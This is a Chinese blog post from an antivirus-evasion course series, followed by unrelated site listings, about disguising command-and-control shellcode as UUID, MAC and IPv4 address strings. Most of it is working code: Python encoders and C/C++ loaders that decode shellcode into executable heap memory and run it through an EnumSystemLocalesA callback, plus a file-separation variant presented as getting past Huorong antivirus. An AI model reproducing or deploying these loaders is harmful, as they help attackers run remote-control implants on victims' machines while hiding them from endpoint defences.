news 2026/7/14 16:55:14

C2远控篇CC++SC转换格式UUID标识MAC物理IPv4地址减少熵值

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
C2远控篇CC++SC转换格式UUID标识MAC物理IPv4地址减少熵值

免杀对抗——第一百五十九天

C2远控篇&C&C++&SC转换格式&UUID标识&MAC物理&IPv4地址&减少熵值

前置知识

  • 之前我们可能讲得更多的都是针对Loader的一个混淆,然后我们今天就来讲讲专门针对ShellCode本身能进行的一些转换
  • 我们常见的可以将ShellCode转换为UUID、MAC、IPv4、IPv6等等,反正总的目的就是让杀毒软件不认识这个东西

C2远控 - UUID地址-ShellCode转换

  • 参考文章:CS shellcode内存加载器免杀及实现-安全KER - 安全资讯平台
  • 我们可以将ShellCode转换为UUID,让其加载到内存,UUID(通用唯一识别码)是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。
  • 我们可以通过Python脚本去生成UUID形式的ShellCode:
fromuuidimportUUIDimportsysiflen(sys.argv)<2:print("Usage: %s <shellcode_file>"%sys.argv[0])sys.exit(1)withopen(sys.argv[1],"rb")asf:chunk=f.read(16)print("{}const char* uuids[] =".format(' '*4))print(" {")whilechunk:iflen(chunk)<16:padding=16-len(chunk)chunk=chunk+(b"\x90"*padding)print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))breakprint("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))chunk=f.read(16)print(" };")

  • 然后通过如下代码加载:
#include<Windows.h>#include<Rpc.h>#include<iostream>#pragmacomment(lib,"Rpcrt4.lib")usingnamespacestd;constchar*uuids[]={"xxx"};intmain(){HANDLE hHeap=HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);void*hmem=HeapAlloc(hHeap,0,0x1000);printf("%p\n",hmem);DWORD_PTR ptr=(DWORD_PTR)hmem;intinit=sizeof(uuids)/sizeof(uuids[0]);for(inti=0;i<init;i++){RPC_STATUS status=UuidFromStringA((RPC_CSTR)uuids[i],(UUID*)ptr);if(status!=RPC_S_OK){printf("UuidFromStringA != RPC_S_OK\n");CloseHandle(hmem);return-1;}ptr+=16;}printf("[+] HexDump: \n");for(inti=0;i<init*16;i++){printf("%02X ",((unsignedchar*)hmem)[i]);//((unsigned char*)hmem)[i] ^= 0x39;}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem,0);CloseHandle(hmem);return0;}
  • 当然只用这个肯定是没啥用的,我们还需要进行混淆,采用之前的一些技术结合起来才能过基本的杀毒软件,比如这里简单混淆一下代码,然后加个文件分离就可以过火绒了:
#include<Windows.h>#include<Rpc.h>#include<stdio.h>#pragmacomment(lib,"Rpcrt4.lib")intmain(){// 从文件读取UUID数组(文件分离)FILE*f=fopen("uuids.dat","r");if(!f)return1;charuuid[64];intcount=0;while(fgets(uuid,sizeof(uuid),f)){if(uuid[0]=='\n')continue;count++;}fseek(f,0,SEEK_SET);// 分配内存void*p=VirtualAlloc(NULL,count*16,MEM_COMMIT,PAGE_EXECUTE_READWRITE);DWORD_PTR d=(DWORD_PTR)p;// 加载UUIDwhile(fgets(uuid,sizeof(uuid),f)){if(uuid[0]=='\n')continue;uuid[36]=0;// 移除换行符UuidFromStringA((RPC_CSTR)uuid,(UUID*)d);d+=16;}fclose(f);// 执行EnumSystemLocalesA((LOCALE_ENUMPROCA)p,0);VirtualFree(p,0,MEM_RELEASE);return0;}


C2远控 - MAC地址-ShellCode转换

  • 同理,我们也可以将ShellCode混淆为MAC地址,使用如下脚本:
frommacaddressimportMACimportsysiflen(sys.argv)<2:print("Usage: %s <shellcode_file>"%sys.argv[0])sys.exit(1)withopen(sys.argv[1],"rb")asf:chunk=f.read(6)print("{}const char* MAC[] =".format(' '*4))print(" {")whilechunk:iflen(chunk)<6:padding=6-len(chunk)chunk=chunk+(b"\x90"*padding)print("{}\"{}\"".format(' '*8,MAC(chunk)))breakprint("{}\"{}\",".format(' '*8,MAC(chunk)))chunk=f.read(6)print(" };")

  • 再通过如下代码加载:
#include<Windows.h>#include<stdio.h>#include<Ip2string.h>#pragmacomment(lib,"Ntdll.lib")#ifndefNT_SUCCESS#defineNT_SUCCESS(Status)(((NTSTATUS)(Status))>=0)#endif#define_CRT_SECURE_NO_WARNINGS#pragmawarning(disable:4996)intError(constchar*msg){printf("%s (%u)",msg,GetLastError());return1;}intmain(){constchar*MAC[]={xxx};introwLen=sizeof(MAC)/sizeof(MAC[0]);PCSTR Terminator=NULL;DL_EUI48*LpBaseAddress2=NULL;NTSTATUS STATUS;HANDLE hHeap=HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);void*hmem=HeapAlloc(hHeap,0,0x1000);DWORD_PTR ptr=(DWORD_PTR)hmem;for(inti=0;i<rowLen;i++){STATUS=RtlEthernetStringToAddressA((PCSTR)MAC[i],&Terminator,(DL_EUI48*)ptr);if(!NT_SUCCESS(STATUS)){printf("[!] RtlEthernetStringToAddressA failed in %s result %x(% u)",MAC[i],STATUS,GetLastError());returnFALSE;}ptr+=6;}printf("[+] HexDump: \n");for(inti=0;i<6*rowLen;i++){printf("%02X ",((unsignedchar*)hmem)[i]);}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem,0);CloseHandle(hmem);return0;}
  • 但是这个也是过不了任何杀毒软件,还是需要进行混淆,这里就不细讲

C2远控 - IPv4地址-ShellCode转换

  • 还是一样,可以通过下面的代码将ShellCode转换为IPv4的地址:
fromipaddressimportip_addressimportsysiflen(sys.argv)<2:print("Usage: %s <shellcode_file>"%sys.argv[0])sys.exit(1)withopen(sys.argv[1],"rb")asf:chunk=f.read(4)print("{}const char* IPv4s[] =".format(' '*4))print(" {")whilechunk:iflen(chunk)<4:padding=4-len(chunk)chunk=chunk+(b"\x90"*padding)print("{}\"{}\"".format(' '*8,ip_address(chunk)))breakprint("{}\"{}\",".format(' '*8,ip_address(chunk)))chunk=f.read(4)print(" };")

  • 再通过如下代码加载:
#include<Windows.h>#include<stdio.h>#include<Ip2string.h>#pragmacomment(lib,"Ntdll.lib")#ifndefNT_SUCCESS#defineNT_SUCCESS(Status)(((NTSTATUS)(Status))>=0)#endifintmain(){constchar*IPv4s[]={xxx};PCSTR Terminator=NULL;PVOID LpBaseAddress=NULL;PVOID LpBaseAddress2=NULL;NTSTATUS STATUS;HANDLE hHeap=HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);void*hmem=HeapAlloc(hHeap,0,0x1000);DWORD_PTR ptr=(DWORD_PTR)hmem;intinit=sizeof(IPv4s)/sizeof(IPv4s[0]);for(inti=0;i<init;i++){RPC_STATUS STATUS=RtlIpv4StringToAddressA((PCSTR)IPv4s[i],FALSE,&Terminator,(in_addr*)ptr);if(!NT_SUCCESS(STATUS)){printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)",IPv4s[i],STATUS,GetLastError());returnFALSE;}ptr+=4;}printf("[+] HexDump: \n");for(inti=0;i<init*4;i++){printf("%02X ",((unsignedchar*)hmem)[i]);}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem,0);CloseHandle(hmem);return0;}
  • 这也没啥好说的,反正主要的原理就是shellcode -> 加密/编码 -> 混淆后的shellcode,这三个技术与之前什么Base64、XOR、Rot13等等其实没什么本质上的区别
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/13 19:35:00

WebRTC 是什么?能做什么?(概览篇)

WebRTC 是什么&#xff1f;能做什么&#xff1f;&#xff08;概览篇&#xff09; 本文是 WebRTC 系列专栏的第一篇&#xff0c;旨在帮助读者建立对 WebRTC 的整体认知&#xff0c;了解其发展历程、核心能力、主要组件以及优势与局限。 目录 WebRTC 的发展历史WebRTC 能解决什么…

作者头像 李华
网站建设 2026/7/12 3:44:39

Dubbo学习(三):深入 Remoting

深入 Remoting&#xff1a;Dubbo 的“搬运工” —— 网络通信与线程模型 请关注公众号【碳硅化合物AI】 摘要 如果说 RPC 是 Dubbo 的大脑&#xff0c;那么 Remoting 就是 Dubbo 的四肢。它负责把 RPC 层生成的调用请求&#xff08;Invocation&#xff09;变成二进制流&…

作者头像 李华
网站建设 2026/7/13 8:32:39

AI设计新突破:QWEN溶图LoRA模型助力品牌视觉创作升级

AI设计新突破&#xff1a;QWEN溶图LoRA模型助力品牌视觉创作升级 【免费下载链接】Fusion_lora 项目地址: https://ai.gitcode.com/hf_mirrors/dx8152/Fusion_lora 在人工智能技术迅猛发展的当下&#xff0c;AI绘图领域正经历着前所未有的变革。各类创新模型层出不穷&a…

作者头像 李华
网站建设 2026/7/12 17:59:19

突破实时视频生成瓶颈:Krea Realtime 14B模型革新文本到视频技术

突破实时视频生成瓶颈&#xff1a;Krea Realtime 14B模型革新文本到视频技术 【免费下载链接】krea-realtime-video 项目地址: https://ai.gitcode.com/hf_mirrors/krea/krea-realtime-video 在人工智能驱动的内容创作领域&#xff0c;文本到视频生成技术正经历着从实验…

作者头像 李华
网站建设 2026/7/11 3:33:51

【项目实战】Vercel 是一个让你的网站“瞬间上线”的云平台。Vercel 现在确实是技术圈的“当红炸子鸡”,尤其是在个人博客和前端开发领域。

Vercel 现在确实是技术圈的“当红炸子鸡”,尤其是在个人博客和前端开发领域。简单来说,Vercel 是一个让你的网站“瞬间上线”的云平台。 传统的服务器 (阿里云/腾讯云) 就像是给你一块生肉和一套厨具。你想吃牛排,得自己切、自己腌、自己煎,还要负责洗碗(运维、配置环境、…

作者头像 李华
网站建设 2026/7/11 3:33:50

Day28~实现strlen、strcpy、strncpy、strcat、strncat

实现strlen、strcpy、strncpy、strcat、strncat#include <stdio.h>size_t my_strlen(const char *src) {size_t len 0;while (*src ! \0){len;src;}return len; }char *my_strcpy(char *dest, const char *src) {if (dest NULL || src NULL) // 判断输入的字符是否为空…

作者头像 李华